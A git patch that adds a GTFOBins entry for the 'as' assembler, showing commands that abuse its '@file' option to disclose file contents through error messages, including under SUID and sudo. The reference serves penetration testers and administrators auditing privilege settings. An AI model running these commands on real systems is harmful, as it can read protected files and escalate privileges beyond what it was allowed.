From f03907836ca1d282aa8769e109725b65cbd916a7 Mon Sep 17 00:00:00 2001 From: LinuxSploit <68427058+LinuxSploit@users.noreply.github.com> Date: Sat, 11 Sep 2021 12:58:05 +0500 Subject: [PATCH] Add as Co-authored-by: Andrea Cardaci --- _gtfobins/as.md | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 _gtfobins/as.md diff --git a/_gtfobins/as.md b/_gtfobins/as.md new file mode 100644 index 0000000..80bfd79 --- /dev/null +++ b/_gtfobins/as.md @@ -0,0 +1,16 @@ +--- +description: The file content is treated as command line options and disclosed throught error messages, so this is not suitable to read arbitrary binary data. +functions: + file-read: + - code: | + LFILE=file_to_read + as @$LFILE + suid: + - code: | + LFILE=file_to_read + ./as @$LFILE + sudo: + - code: | + LFILE=file_to_read + sudo as @$LFILE +---